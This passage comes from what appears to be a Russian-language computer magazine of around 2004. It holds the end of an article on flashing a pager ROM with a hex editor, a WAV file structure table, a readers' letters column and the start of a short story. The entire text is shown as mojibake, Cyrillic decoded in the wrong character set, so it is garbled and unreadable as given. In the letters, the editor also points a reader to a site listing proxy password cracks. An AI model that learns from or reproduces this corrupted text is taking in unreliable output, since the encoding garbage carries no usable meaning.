âèäå. Â [1] äëÿ ýòîãî äàæå ïðèâåäåí
ëèñòèíã ïðîãðàììû íà ÿçûêå Turbo
Pascal, íî ìû äëÿ íàãëÿäíîñòè áóäåì
ðàáîòàòü ðó÷êàìè. Êðîìå ðó÷åê íóæåí
íîæèê. Èì áóäåò î÷åíü óäîáíûé, íà
ìîé âçãëÿä, HEX-ðåäàêòîð. Èìÿ ñåé òóë-
çû íåçàìûñëîâàòî � HexEdit. Èç äîñòî-

èíñòâ ïðîãè ìîæíî âûäåëèòü äðàãåíä-
ðîï, áûñòðóþ ñìåíó êîäèðîâîê, èçìå-
íÿåìûé ôîðìàò ïðåäñòàâëåíèÿ äàí-
íûõ, ñìåùåíèÿ â íåñêîëüêèõ ñèñòåìàõ
ñ÷èñëåíèÿ, âñòðîåííûé êàëüêóëÿòîð. È
âñå ýòî ïðè 400 Êá âåñà! Íà äèñêå, ïðè-
ëàãàåìîì ê æóðíàëó, òû íàéäåøü âåð-
ñèþ 1.2.0.6, è, êàê óòâåðæäàåò àâòîð,
ýòî ôèíàë åå ýâîëþöèè êàê ôðèâàðíî-
ãî ïðîäóêòà. Íà ðèñ. 21 ïðåäñòàâëåí
ïðîöåññ «êàñòðàöèè» (ñëàáîíåðâíûì
ïðîñüáà íå ñìîòðåòü :-)). Âîò è âñå,
ôàéë äëÿ çàëèâêè â ÏÇÓ ãîòîâ, îñòà-
ëîñü ñîõðàíèòü åãî ñ ðàñøèðåíèåì
*.DAT (äëÿ óäîáñòâà).

Ïðîöåññ çàëèâêè â ÏÇÓ òîæå íåñëî-
æåí: áåðåøü ïðîãó ¹ 1, ââîäèøü èìÿ
*.DAT ôàéëà, ïîëó÷àåøü *.ASC ôàéë.
Çàòåì ïåðåêëþ÷àåøü ñâîé áèïåð â ðå-
æèì ïðîãðàììèðîâàíèÿ, êîðìèøü ïðî-
ãó ¹ 2 *.ASC ôàéëîì. Ïîñëå ïðåêðàùå-
íèÿ ïðîöåññà ïðîãðàììèðîâàíèÿ ïðîã-
ðàììà ïèñêëÿâî ïðîïèùèò :). Äàëåå íà-
æèìàåøü ïåðåêëþ÷àòåëü SA1 è ïîâòî-
ðÿåøü ïðîöåññ, íî ñ äðóãèì ôðàãìåí-
òîì. Ïðîãðàììà çàëèâêè ñïåöèàëüíî
ðàçáèòà íà äâå ÷àñòè � äëÿ óäîáñòâà
ïîíèìàíèÿ èñõîäíîãî êîäà. Êðîìå òîãî,
åñëè òû âäðóã âñå-òàêè íàäóìàåøü ñî-
áèðàòü êàêîé-ëèáî ïðîãðàììàòîð, òî
ñòîëêíåøüñÿ ñ ïðîáëåìîé âûáîðà
ôîðìàòà êîðìà äëÿ ñîïðîâîæäàþùåãî
åãî ñîôòà. È òîãäà òåáå íàâåðíÿêà ïðè-
äåòñÿ èñïîëüçîâàòü òîò èëè èíîé êó-
ñîê. Íî â ïðèíöèïå, êóñêè íåñëîæíî
ñøèòü � äîñòàòî÷íî ïåðåêîäèðîâàòü
ìàññèâû íà ëåòó, áåç çàïèñè *.ASC
ôàéëà. Íî ýòó çàäà÷ó ÿ îñòàâëÿþ òåáå
äëÿ òðåíèíãà. Íà ýòîì âñå, äåðçàé! E

ÁÁààééòòûû ÑÑîîääååððææèèììîîåå ÇÇííàà÷÷ååííèèåå

0 � 3 Ñòðîêà 'RIFF' Èäåíòèôèêàòîð ôîðìàòà ôàéëà

4 � 7 32-ðàçðÿäíîå ÷èñëî Äëèíà ôàéëà � 8 áàéò

8 � 11 Ñòðîêà 'WAVE' Èäåíòèôèêàòîð òèïà ðåñóðñà

12 � 15 Ñòðîêà 'fmt' Èäåíòèôèêàòîð ðàçäåëà ôîðìàòà äàííûõ

16 � 19 32-ðàçðÿäíîå ÷èñëî Äëèíà ðàçäåëà � 8 áàéò

20 � 21 16-ðàçðÿäíîå ÷èñëî Ïðèçíàê ôîðìàòà çàïèñè

22 � 23 16-ðàçðÿäíîå ÷èñëî ×èñëî êàíàëîâ: 1 � ìîíî, 2 � ñòåðåî è ò.ä.

24 � 27 32-ðàçðÿäíîå ÷èñëî ×àñòîòà êâàíòîâàíèÿ, Ãö

28 � 31 32-ðàçðÿäíîå ÷èñëî Ñðåäíÿÿ ñêîðîñòü ïîòîêà äàííûõ, áàéò/ñ

32 � 33 16-ðàçðÿäíîå ÷èñëî Ðàçìåð áëîêà äàííûõ, áàéò

34 � 35 16-ðàçðÿäíîå ÷èñëî Ðàçðÿäíîñòü äàííûõ (8 èëè 16 áèò)

36 � (n-1) Äðóãèå ðàçäåëû (íå îáÿçàòåëüíûå)

n � (n+3) Ñòðîêà 'data' Äëèíà ðàçäåëà � 8 áàéò

(n+4) � (n+7) 32-ðàçðÿäíîå ÷èñëî Çâóêîâûå äàííûå

(n+8) � ...

Òàáë. 3. Ñòðóêòóðà WAV-ôàéëà Ðèñ. 21. Ðåæåì ïîä êîðåíü

Ðèñ. 20

Ðèñ. 19

Ðèñ. 10. Ïàíåëüêè
áûâàþò ðàçíûå

Ðèñ. 17. Ïðîâîä âî
ôòîðîïëàñòîâîé èçî-
ëÿöèè

Ðèñ. 18. Ïðîâîä âî ôòîðîïëàñòîâîé èçîëÿöèè
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FROM: ÃÀÌÁÀÐÎÂ ÐÀÌÈÍ
[RAMINET@MAIL.RU]
SUBJECT: ÔÎÐÓÌ È ×ÀÒ

Çäðàâñòâóéòå. Åñòü ëè òîêàÿ ïðîãðàììêà,
ãäå ìîæíî ñîçäàòü ÷àò èëè ôîðóì?

Íàïîäîáèå FrontPage äëÿ ñîçäàíèÿ ñàéòà. Åñëè
åñòü, òî ãäå ìîæíî ñêà÷àòü? Çàðàíåå ñïàñèáî.

ÎÒÂÅÒ:
Òîêàÿ? Ýòî îò ñëîâà «òîêîâàòü»? ß

åãî âèäåë â ó÷åáíèêå ïî áèîëîãèè. Òî-
êóþò ãëóõàðè è ôàçàíû, êàæåòñÿ, äëÿ
ïðèâëå÷åíèÿ ñàìîê. Áîëüøå íè÷åãî ïî
ýòîé òåìå íå çíàþ :(. 

×àò ñîçäàâàòü íå íàäî, íàäî þçàòü
IRC è ñîçäàòü òàì ñâîé êàíàë. À åùå
ëó÷øå � òóñîâàòüñÿ íà êàíàëå #XS ñå-
òè dalnet.ru :). ×åñòíî ãîâîðÿ, íèêîãäà
íå âèäåë ñàéòîâ, âåá-÷àò êîòîðûõ íåñ
áû êàêóþ-òî îáùåñòâåííóþ öåííîñòü.
Ôîðóì ñäåëàòü âîîáùå ïðîñòî, íóæíî
çàòóñîâàòü íà http://www.phpbb.com/down-
loads.php è êà÷íóòü òàì áîðäó. Çàòåì íà-
æèâèòü MySQL (èëè PostgreSQL) è íàñ-
ëàæäàòüñÿ æèçíüþ. Êàê âàðèàíò �
ñëèòü invision power board íà
http://www.invisionboard.com/, îí ïîáûñòðåå,
è íåêîòîðûå åãî ëþáÿò áîëüøå. Âîò è
âñå, ÷èòàé äîêè, îíè ðóëåç.
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FROM: SOFTER07 [SOFTER07@MAIL.RU]
SUBJECT: ***ÏÎÑÎÂÅÒÓÉÒÅ ×ÈÒÀÒÅËßÌ ÆÓÐÍÀËÀ

Çäðàâñòâóéòå, spec.
Ïîñîâåòóéòå ÷èòàòåëÿì æóðíàëà ñîâñåì íîâóþ ïðîãó, êîòîðàÿ òîëüêî ÷òî ïîÿâè-

ëàñü â ñåòè. Îíà ñêàíèðóåò èíòåðíåò-àäðåñà, ñêà÷èâàåò íàéäåííûå ñòðàíèöû, ãðàáèò ìà-
èë-àäðåñà, ðàññûëàåò ïî íàéäåííûì àäðåñàì âàøó ðåêëàìó. Ïðè÷åì ìîæåò ðàáîòàòü
ñêðûòíî â èíòåðíåò-êàôå. Ñóïåð ïðîãà! Ìîæíî çà ìåñÿö ñäåëàòü ìèëëèîí àäðåñîâ è çà-
ðàáàòûâàòü íà ðåêëàìå. Âîò ññûëêà: <ðåêëàìà ñòîèò äåíåã, à òû ìíå èõ íå äàë :) -
Dr.Klouniz>.

ÎÒÂÅÒ:
Î äà, äî òåáÿ (ýòî âåäü òû åå íàïèñàë? :)) íèêòî ïîäîáíîãî äàæå ïî-

ìûñëèòü íå ìîã. Ïðåäñòàâèòü ñåáå: ãðàáèò àäðåñà, äà åùå è ðàññûëàåò
:). Çíàåøü, ó íàñ â Áðàçèëèè î÷åíü íå ëþáÿò ñïàììåðîâ è òåõ, êòî èõ
ïîääåðæèâàåò, ïîýòîìó ðåêëàìèðóé ñâîé âåëèêèé òðóä äðóãèì ñïîñî-
áîì. Ñîâåòîâàòü íàøèì ÷èòàòåëÿì ìû íè÷åãî íå áóäåì, îíè íå òàêèå,
îíè íå ñîâåòóþò íèêîìó óâåëè÷èòü ãðóäü âàêóóìíûì ãðóäîóâåëè÷èòå-
ëåì, ðàçäóòü ôàëëîñ ñ ïîìîùüþ ïåíû «ìàêðîôëåêñ» èëè íàíÿòü «äå-
øîâ_Ðàáî÷_Ñèëó_Èç_Êàçàõñòà_Äëÿ_ïåðåòàñêèâàíèÿ_ìåáåëè» :).

»

FROM: ÂÀÍß [IVAN@MAIL.KAMCHATKA.RU]
SUBJECT: ÊÐÈÒÈÊÀ

Ãîñïîäà, íó ÷òî âû òâîðèòå? Äèñê âàø â æóðíàëå çà 06.2004 íó íå òî ÷òîáû 
çàêîñÿ÷åííûé, à ïðîñòî ó ìåíÿ íåò ñëîâ. Îí ïðîñòî íå ÷èòàåòñÿ, ÿ ïîïðîáîâàë

ñêîïèðîâàòü åãî â DOSe, íî Íîðòîí, ñòàðûé äîáðûé Íîðòîí, âûäàë òàêîå â çàãîëîâêàõ! ß
ëè÷íî òàêîå âèäåë, êîãäà EXEøíèê îòêðûâàåøü ÷åðåç F3. Âû òàì ðàçáåðèòåñü èëè ïîñî-
âåòóéòå, êàê ñ ýòèì áîðîòüñÿ, íó èëè àðõèâ âûëîæèòå íà ñàéòå âàøåì, à òî ïðîãè óæ òàì
áîëüíî èíòåðåñíûå ñóäÿ ïî íàçâàíèÿì.

ÎÒÂÅÒ:
Ðåáÿòà, íó äàâàéòå óæå èçëàãàòü ñâîè ìûñëè ãðàìîòíî è ëîãè÷íî. Íå-

óæåëè æàëêî? Íàñêîëüêî ÿ ïîíÿë, ñ äèñêà ñêîïèðîâàòü òû íè÷åãî íå
ìîæåøü, íî êàê äèñê îí âñå æå âîñïðèíèìàåòñÿ. Ïîïðîáóé ñëèòü âåñü
CD íà 2õ-4õ ñêîðîñòÿõ íà âèíò, ïðîãà òàêàÿ åñòü � CDSlow. Òàêæå ïîñ-
ìîòðè, íå îðãàíèçîâàë ëè òû íà ïîâåðõíîñòè äèñêà öàðàïèíû èëè ñëå-
äû, õì, áèîëîãè÷åñêèõ æèäêîñòåé. Åñëè âñå ÷èñòî, íî äèñê áèòûé � ïè-
øè çàÿâó â 3 ýêçåìïëÿðàõ íà èìÿ Àâàëàí÷à, ìû çàìåíèì çëîé êîìïàêò.
Äåëî â òîì, ÷òî âîïðåêè ñëóõàì, äèñêè øòàìïóåò íå Àíäðåé Êàðîëèê â
ñâîåì âàðåç-ïîäâàëå, à âïîëíå ñåðüåçíûé ñâå÷íîé çàâîäèê, è çà åãî
äåéñòâèÿìè ìû íå â ñîñòîÿíèè óñëåäèòü :(.

P.S. Âñåì, êòî íåäîâîëåí êà÷åñòâîì äèñêà, ñòîèò íàïèñàòü ïèñüìî ðå-
äàêòîðó äèñêà íà sky@real.xakep.ru. Åñëè îí âûÿñíèò, ÷òî âèíîâàò çà-
âîä, òî òû ïîëó÷èøü íîâûé, íîðìàëüíûé êîìïàêò ëè÷íî îò íàñ. Ìîæíî
äàæå ñ ìîèì àâòîãðàôîì :). À åñëè òû äåâóøêà (êðàñèâàÿ) � òî äàæå ñ
äâóìÿ àâòîãðàôàìè.

»

Ëîçîâñêèé Àëåêñàíäð aka Dr.Klouniz

Å-ÌÛËÎ
(spec@real.xakep.ru)
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FROM: ÊÈÐÈËË
[NEVSKYFAN@CRAZY.RU]
SUBJECT: ÅÑÒÜ ÏÐÅÄËÎÆÅÍÈÅ...

Çäàðîâà, Ñïåö! ][îòåë ïðåäëîæèòü 
âàøåé ðåäàêöèè çàäóìàòüñÿ íàä òàêèì

âîïðîñîì: íå ñäåëàòü ëè âàì â êîíöå êàæäîãî ãî-
äà ãîëîñîâàíèå íà ñàéòå î ëó÷øåì Ñïåöå ãîäà?
Âàøà ðåäàêöèÿ õîòÿ áû áóäåò çíàòü, êàêèå
ñòàòüè íðàâÿòñÿ ÷èòàòåëÿì, à êàêèå íå íðàâÿòñÿ,
èñõîäÿ èç ýòîãî ìîæíî áóäåò ÷àùå ïå÷àòàòü â
æóðíàëå ñòàòüè, êîòîðûå ÷èòàòåëè áóäóò ÷èòàòü ñ
îãðîìíûì óäîâîëüñòâèåì è ïðèìåíÿòü íà ïðàêòè-
êå ïðî÷èòàííîå. Èëè ÿ íåïðàâ ?

ÎÒÂÅÒ:
Òû ïðàâ. Íàì èíòåðåñíî çíàòü ìíåíèå

÷èòàòåëåé, ïîòîìó ÷òî èìåííî äëÿ íèõ
ìû è ïèøåì :). Ïîýòîìó íàìè áûëà
îðãàíèçîâàíà òåñò-ãðóïïà, è, äëÿ òîãî
÷òîáû ýôôåêòèâíî âûñêàçûâàòü ñâîå
ìíåíèå (îíî òî÷íî áóäåò ó÷òåíî),
íåîáõîäèìî â íåå çàäæîéíèòüñÿ. Ïðîñòî
íàïèñàòü î ñâîåì ãîðÿ÷åì æåëàíèè íà
vote@real.xakep.ru. Åñëè íå õî÷åøü -
ïîæàëóéñòà, ó òåáÿ âåäü åñòü ôîðóì íà
Xakep.ru, íàø êàíàë íà äàëíåòå, íàøè
ìûëüíèêè â ýäèòîðèàëå, à â æóðíàëå -
òàê äàæå è ìîáèëà ìîÿ åñòü. Ïèøè,
âûñêàçûâàéñÿ � ñ óäîâîëüñòâèåì
ïî÷èòàåì.

»

FROM: "VI-2" [VI-2@MAIL.RU]
SUBJECT: ÑÅÍÊÑ

Çäðàâñòâóéòå, ðåäàêöèÿ æóðíàëà 
Ñïåö-Õàêåð!

Íåäàâíî ïðî÷èòàë âàø æóðíàë çà ÿíâàðü â
ýëåêòðîííîì âèäå. Â èíåòå áûâàþ ÷àñòî, à
ïîêóïàòü æóðíàë íå âñåãäà èìååòñÿ
âîçìîæíîñòü. ×èòàë ñòàòüþ ïðî ZX-Spectrum, àæ
ñëåçà íàâåðíóëàñü... Ñïàñèáî, ÷òî âñïîìíèëè ïðî
èãðóøêó ìîåãî äåòñòâà, ñïàñèáî, ðåáÿòà,
ìîëîäöû....

ÎÒÂÅÒ:
È òåáå ñïàñèáî, äîáðîå ñëîâî è ðå-

äàêòîðó ïðèÿòíî :). Ñòàòüþ ýòó ïèñàë
äÿäåíüêà, êîòîðûé äî ñèõ ïîð ñèäèò íà
ñïåêå è íå âèäèò ñìûñëà ïåðåñàæè-
âàòüñÿ íà äðóãèå òà÷êè. Ïîýòîìó, êîãäà
ÿ ïîëó÷èë ýòó ñòàòüþ ÷åðåç ôèäî-èí-
òåðíåò ãåéò â UUE :), ÿ òîæå íåìíîãî
ïðîñëåçèëñÿ, âñïîìíèâ Ìèêðîøó, ÁÊ è
ìíîãèå äðóãèå òà÷êè, ñ êîòîðûìè ìåíÿ
ñâîäèëà ñóäüáà. Õîòÿ íàä ýòîé ñòàòüåé
ïðèøëîñü çäîðîâî íàïðÿ÷üñÿ, âñå æå
êîíòåíò òîãî ñòîèë. Íîñòàëüæè� Íû-
íåøíÿÿ ìîëîäåæü óæå è íå óïîìíèò
ëþäåé, êîòîðûå autoexec.bat âæèâóþ
âèäåëè, íå òî ÷òî Ñïåêòðóì :).

»

FROM: IVAN IVANOVICH [NEO_MAIL@PROGRAMIST.RU]
SUBJECT: ÎÒ ×ÈÒÀÒÅËß

Hi, óâàæàåìàÿ ðåäàêöèÿ.
Ïèøó ÿ âàì âîò ïî êàêîìó äåëó. Æèâó ÿ â Óêðàèíå (Ëóãàíñê), è âàøèõ æóðíàëîâ

çäåñü âîîáùå íå ïðîäàþò. Óçíàë î âàøåì æóðíàëå, êîãäà áûë â Ìîñêâå è óâèäåë
æóðíàë íà ïðèëàâêå. Ýòî áûëî ãîä íàçàä. Íà âàøåì ñàéòå ÿ óâèäåë æóðíàëû ÕÀÊÅÐ
ÑÏÅÖ. 2004 #3/2004 #4/2004 â òåêñòîâîì ôîðìàòå. ß âàñ î÷åíü ïðîøó ïîäñêàçàòü, ãäå
ìíå ìîæíî äîñòàòü ýòè íîìåðà â pdf-ôîðìàòå. Ïîìîãèòå ìíå, ÿ âàñ î÷åíü ïðîøó.

ÎÒÂÅÒ:
Â êàæäîì ïîñëåäóþùåì æóðíàëå ÂÑÅÃÄÀ åñòü pdf ïðåäûäóùåãî

íîìåðà. Òàê ÷òî äîñòàòü íîìåðà ìîæíî, ëèáî ñêà÷àâ â èíåòå (îíè òàì
ïîÿâëÿþòñÿ íà ëþáèòåëüñêèõ ñàéòàõ), ëèáî âûòðåéäèâ/ïîïðîñèâ ó
êàêîãî-íèáóäü ìîñêîâñêîãî ÷èòàòåëÿ. Êñòàòè, íà Óêðàèíå ÿ áûë,
òîëüêî íå â Ëóãàíñêå, à â Áåðäÿíñêå, è î÷åíü óäèâèëñÿ, ÷òî
ïåøåõîäîâ òàì ïðèíÿòî ïðîïóñêàòü, à íå äàâèòü êîëåñàìè :). Íî ñ
ãîðÿ÷åé âîäîé ïîðà áû ðàçîáðàòüñÿ, òîâàðèùè. Ðàçáåðåòåñü � ïðèåäó
ëè÷íî åùå ðàç, ïîäàðþ ïàðó íîìåðîâ :).

»

FROM: "NEIR0MIND @" [NEIR0MIND@MAIL.RU]
SUBJECT: HELP

Çäðàâñòâóé, ëþáèìàÿ ðåäàêöèÿ =).
Òàêîé òðàáë: ñðî÷íî íóæåí ÕÀÊÅÐ Ñïåö #4 Ëè÷íàÿ áåçîïàñíîñòü!!! Â ñèëó

îïðåäåëåííûõ îáñòîÿòåëüñòâ íå ñìîãëà êóïèòü â àïðåëå =(. Ïîäñêàæèòå, ïëèç, ãäå åãî
ìîæíî äîñòàòü..

P.S. Îáåùàþ ñêîðî ïîäïèñàòüñÿ!!! ×åñòíî-÷åñòíî =). À òî íàäîåëî óæå ïî ïàëàòêàì
áåãàòü, ëîâÿ óäèâëåííûå âçãëÿäû ìóæñêîãî íàñåëåíèÿ

ÎÒÂÅÒ:
Çäðàâñòâóé, ëþáèìàÿ ÷èòàòåëüíèöà! ×óâñòâóþ, íå çðÿ ÿ òóò

ðàçáèâàþ ïàëüöû â êðîâü î êëàâèàòóðó, îõ, íå çðÿ :). À âåäü âñåãî-òî è
íàäî òåáå � êóïèòü Ñïåö ïî XP, íà äèñêå ê íåìó è ëåæèò PDF «ëè÷íîé
áåçîïàñíîñòè». Êñòàòè, â êàêîì âèäå òû õîäèøü ïîêóïàòü Ñïåö, ÷òî
ëîâèøü óäèâëåííûå âçãëÿäû ìóæñêîãî íàñåëåíèÿ? Îòïèøè
ïîïîäðîáíåå :). Ïîäïèøèñü îáÿçàòåëüíî, ÿ ïðîâåðþ.

»

FROM: RUMBA [AMIGO@ELIZOVO.RU]
SUBJECT: Å-ÌÛËÎ

Äàðîâà, spec !
Ïðî÷èòàë âàøó ñòàòüþ "Â ÷åì ñìûñë æèçíè? Ðàçìûøëåíèÿ î ìîäåìàõ è

ëîêàëêàõ" (?05 (42)) è î÷åíü çàèíòåðåñîâàëñÿ áåñïëàòíûì òðàôèêîì ÷åðåç ïî÷òîâûé
ÿùèê... Âåäü îí ó ìåíÿ áåñïëàòåí. ß æèâó äàëåêî íå â Ìîñêâå è òàðèôû ó íàñ <CEN-
SORED> -> 4 ð. çà ìåòð ãëîáàëà. Ñàìè ïîíèìàåòå, ãðàáåæ . Åñëè íå æàëêî, ïîäåëèòåñü
ñåêðåòîì, êàê âñå ýòî äåëî îðãàíèçîâàòü... please.

ÎÒÂÅÒ:
Äà, ñ áóðæóÿìè íàäî áîðîòüñÿ, òîëüêî ó÷òè, ÷òî ïðîâ, êîòîðûé çàìå-

òèò, ÷òî íà õàëÿâíûé ìûëüíèê ïðèõîäèò ïî 200 Ãá â ìåñÿö, ìîæåò óäè-
âèòüñÿ òâîåé îáøèðíîé ïåðåïèñêå :). È îòêëþ÷èòü òåáÿ íàôèã. Òàê ÷òî
ñîáëþäàé óìåðåííîñòü â ýòîì âîïðîñå :). Äëÿ îðãàíèçàöèè õàëÿâû
íóæíû: à) õîðîøèé õîñòèíã, êîòîðîãî íå ðàññòðîèò òâîÿ ëþáîâü ê
áîëüøîìó òðàôèêó á) ïåðë-ñêðèïò senddfmymail-1.1.1
(www.nixp.ru/shurup/coding/, íàïèñàííûé íàøèì ÷åëîâåêîì) èëè àíàëîãè÷-
íûé, êîòîðûé òåáå òàì ïðèäåòñÿ ðàçìåñòèòü. Âîò è âñå, îñòàëüíîå � â
äîêàõ, ê ñêðèïòó ïðèëàãàåòñÿ äàæå FAQ.

»

FROM: MUZA [MUZA@MURAVLENKO.RU]
SUBJECT: HELP ME

Çäðàñòå! HELP ME, åñëè íå òðóäíî ))). Ðàíüøå ÷åðåç Îïåðó ïîäêëþ÷àëàñü ê 
ïðîêñè-ñåðâåðó, à òåïåðü ïðîêñè-ñåðâåð òðåáóåò ââåñòè èìÿ è ïàðîëü.

Ïîäñêàæèòå, êàê èëè êàêîé ïðãðàììîé ìîæíî ýòî ïîäîáðàòü. ÏÎÆÀËÓÉÑÒÀ. Î÷åíü,
î÷åíü ñèëüíî íàäî. Çàðàíåå áëàãîäàðíà!

ÎÒÂÅÒ:
Õåëëî, Ìóçà. ×òî çà ïðîêñè-òî? Åñëè ïðîâàéäåðñêèé, òî è íàñèëóé

ñâîåãî ïðîâàéäåðà � çâîíè è òðåáóé ëîãèí è ïàññ. Åñëè ïðîñòî ëåâûé
ïðîêñè � ñìåíè åãî íà äðóãîé è íå íàïðÿãàéñÿ. Åñëè âëîì èñêàòü, ïðîñòî
çàéäè íà void.ru, òàì èõ âðåìÿ îò âðåìåíè ïðîâåðÿþò è âûêëàäûâàþò.

»



ðèñ. Êîíñòàíòèí Êîìàðäèí

ÁËÀÃÎÑËÎÂÈ,
ÃÎÑÏÎÄÈ�

Niro (niro@real.xakep.ru)



åïëÿêîâ ñèäåë íà êóõíå,
âòèñíóâøèñü íà òàáóðåò-
êå ìåæäó ñòîëîì è ïîäî-
êîííèêîì, è ÷èòàë ãàçåòó.
ßè÷íèöà óæå îñòûëà è íå
ïðîèçâîäèëà íà íåãî íè-
êàêîãî âïå÷àòëåíèÿ. Âîø-
ëà æåíà, ìîë÷à êèíóëà
âçãëÿä íà íåãî è, ÷òî-òî
ïðîøåïòàâ ñåáå ïîä íîñ,
îòïðàâèëàñü â âàííóþ.
×åðåç íåñêîëüêî ñåêóíä

îòòóäà äîíåññÿ øóì ôåíà; Òåïëÿêîâ îòîðâàë ãëàçà îò
ñòàòüè, ïîñìîòðåë ïîâåðõ ãàçåòíîãî ëèñòà è âíîâü ïîãðó-
çèëñÿ â ÷òåíèå.

Ôåí çàìîë÷àë, ïðàâäà, íåíàäîëãî. Òåïëÿêîâ ïîëîæèë
ãàçåòó íà ñòîë, âûâàëèë ÿè÷íèöó ñ òàðåëêè â ìóñîðíîå âåä-
ðî, ïðèêðûâ ñâåðõó â÷åðàøíåé ãàçåòîé, âñòàë è âûãëÿíóë â
îêíî, ñâåðÿÿ óâèäåííîå ñ ïðîãíîçîì ïîãîäû, òîëüêî ÷òî óñ-
ëûøàííûì â íîâîñòÿõ.

� Îïÿòü âðóò, � ðàçâåë îí ðóêàìè, óâèäåâ ãðîçîâûå òó÷è
ãäå-òî íà ãîðèçîíòå. � Äîæäÿ íå ìèíîâàòü.

Ïëåñíóë â ÷àøêó êèïÿòêó, íàñûïàë êîôå è ñëèâîê, áûñò-
ðî ïðîãëîòèë ïîëó÷èâøóþñÿ ñìåñü, íå îáðàùàÿ âíèìàíèÿ
íà òî, êàê îíà îáæèãàåò ÿçûê è ãëîòêó. Íàäî æå áûëî õîòü
÷òî-òî çàêèíóòü â æåëóäîê ïåðåä òðóäîâûì äíåì!

Æåíà âûøëà èç âàííîé, ïðîøëà ìèìî, äåëàÿ âèä, ÷òî íå
çàìå÷àåò åãî. Òåïëÿêîâ ïî÷óâñòâîâàë òåïëî îò åå âîëîñû,
çàïàõ êàêîãî-òî äîðîãîãî øàìïóíÿ è íåïðîèçâîëüíî
îòñòðàíèëñÿ, êàê äåëàë óæå ïîñëåäíèå ïîëãîäà èëè áîëü-
øå. Îòñòðàíèëñÿ íå ïîòîìó, ÷òî îíà áûëà åìó íåïðèÿòíà,
íåò � Òåïëÿêîâ ÷óâñòâîâàë, ÷òî ñàì íåïðèÿòåí åé, è ñòàðàë-
ñÿ ñîêðàòèòü ñâîå ïðèñóòñòâèå äîìà äî ìèíèìóìà.

� Äàøà! � æåíà çâàëà äî÷ü çàâòðàêàòü. È òàê êàæäîå óò-
ðî: åìó � ïðèãîðåâøàÿ ÿè÷íèöà áåç ñëîâ, äî÷åðè � âñå îñ-
òàëüíîå âíèìàíèå è òåïëî. Îòåö ìåëüêîì çàãëÿíóë ê íåé â
êîìíàòó, çàäóìàëñÿ. Äî÷ü, íå çàìå÷àÿ íè÷åãî âîêðóã, ñèäå-
ëà çà êîìïüþòåðîì. Òÿæåëî áûëî óõîäèòü êàæäîå óòðî íà
ðàáîòó, óíîñÿ íà ïëå÷àõ òàêîé ãðóç�

Îí íàáðîñèë íà ïëå÷è êóðòêó, ïîñòîÿë â ïðèõîæåé, íà-
äåÿñü, ÷òî æåíà âûéäåò è ïðîâîäèò � õîòÿ áû âçãëÿäîì.
Íåò, íèêîãî. Îí óæå ïðèâûê, ÷òî êëþ÷ â çàìêå ïîâîðà÷èâà-
åòñÿ ëèøü ÷åðåç íåñêîëüêî ñåêóíä ïîñëå òîãî, êàê îí âûõî-
äèò íà ïëîùàäêó è íà÷èíàåò ñïóñêàòüñÿ ïî ëåñòíèöå. Âîò è
ñåé÷àñ � îí ïðîøåë íåñêîëüêî ñòóïåíåê, êîãäà çà ñïèíîé
ðóêà æåíû çàõëîïíóëà ÷óòü ðàñïàõíóòóþ äâåðü è çàêðûëà
åå íà çàìîê. Òåïëÿêîâ âçäðîãíóë, ïîäóìàë, ÷òî âñëåä ïðè-
ëåòèò õîòÿ áû «ïîêà», ïîòîì ãëóáîêî âçäîõíóë è âûøåë íà
óëèöó; ìåòðî áûëî íåäàëåêî, è îí, ïîäíÿâ âîðîòíèê, íàïðà-
âèëñÿ â åãî ñòîðîíó, íà õîäó îòìåòàÿ âñå ìûñëè, ÷òî áûëè
áû â åãî ðàáîòå ëèøíèìè.

Â îêíå êâàðòèðû Òåïëÿêîâûõ, íà ÷åòâåðòîì ýòàæå, ïîÿ-
âèëîñü æåíñêîå ëèöî. Ãëàçà âíèìàòåëüíî ñìîòðåëè íà ñïè-
íó ìóæà, íà êóðòêó ñ òðèæäû ïðîêëÿòûìè áóêâàìè, îòíÿâ-
øèìè ó íåå ìóæà, � Ì×Ñ�

********

�«Ìíå íàäî îòîéòè íà ïàðó ìèíóò», � ïðî÷èòàë Äèìêà
íà ýêðàíå è óõìûëüíóëñÿ. Íó, íàäî çíà÷èò íàäî. Îí âñòàë ñ
êðåñëà, âûãíóë óñòàëóþ ñïèíó, ñëîâíî êîò, îãëÿíóëñÿ ïî
ñòîðîíàì, ïðèñëóøàëñÿ ê ïîäñòóïàþùåìó ÷óâñòâó ãîëîäà è
âûøåë íà áàëêîí.

Ñ âûñîòû øåñòîãî ýòàæà âèäíî áûëî äîñòàòî÷íî äàëåêî.
Äîì Äèìêè ñòîÿë íà îêðàèíå íîâîãî ìèêðîðàéîíà, ñîñòîÿ-
ùåãî áîëåå ÷åì èç äâàäöàòè âûñîòîê. Ïî ïîëîâèíå ïåðè-
ìåòðà ìèêðîðàéîíà ïðîëåãàëî èñêóññòâåííîå îçåðî èäå-
àëüíîé ÷èñòîòû, ïîêà åùå íå çàãàæåííîå îáèòàòåëÿìè íî-
âîñòðîåê. Â íåì ñåé÷àñ îòðàæàëîñü çàêàòíîå ñîëíöå, îêðà-
ñèâøåå âîäó â îðàíæåâûé öâåò.

Äèìà îïåðñÿ íà ïåðèëà, ðàçìÿë óñòàâøèå îò êëàâèàòó-
ðû ïàëüöû, ïîñìîòðåë âíèç � òóäà, ãäå âîçëå ïîäúåçäà íà
äåòñêîé ïëîùàäêå ðåçâèëàñü ìàëûøíÿ. Ïàðà äåñÿòêîâ
ìàëü÷èøåê è äåâ÷îíîê â îêðóæåíèè ìàòåðåé ïðîèçâîäèëè

æóòêèé øóì, íà âñå ãîëîñà ñòàðàÿñü ïåðåêðè÷àòü äðóã äðó-
ãà. Èç îäíîãî êîíöà äâîðà â äðóãîé ëåòàë ðàçíîöâåòíûé
ìÿ÷, êòî-òî íîñèëñÿ ñ èãðóøå÷íûì àâòîìàòîì, êòî-òî ñòðîèë
äîìèê èç ïåñêà. Íà ëàâî÷êàõ ó ïîäúåçäîâ � âå÷íûå ïåíñèî-
íåðû, áåñåäóþùèå î ñâîèõ äåòÿõ, áîëåçíÿõ, ïîëèòèêå. Íå-
ïîäàëåêó � öåïü àêêóðàòíûõ êèðïè÷íûõ ãàðàæåé, íåñêîëü-
êî àâòîìîáèëåé ñî ñíÿòûìè êîëåñàìè èëè îòêðûòûìè êàïî-
òàìè, âüþùèåñÿ âîêðóã íèõ âëàäåëüöû, îçàäà÷åííûå òåì,
÷òî ó íèõ îïÿòü «íå ñîñåò», «ñòó÷èò», «òðîèò» è «ïðîáóêñî-
âûâàåò».

Âíèìàòåëüíî ïðèùóðèâøèñü, Äèìà ðàçãëÿäåë íà ñî-
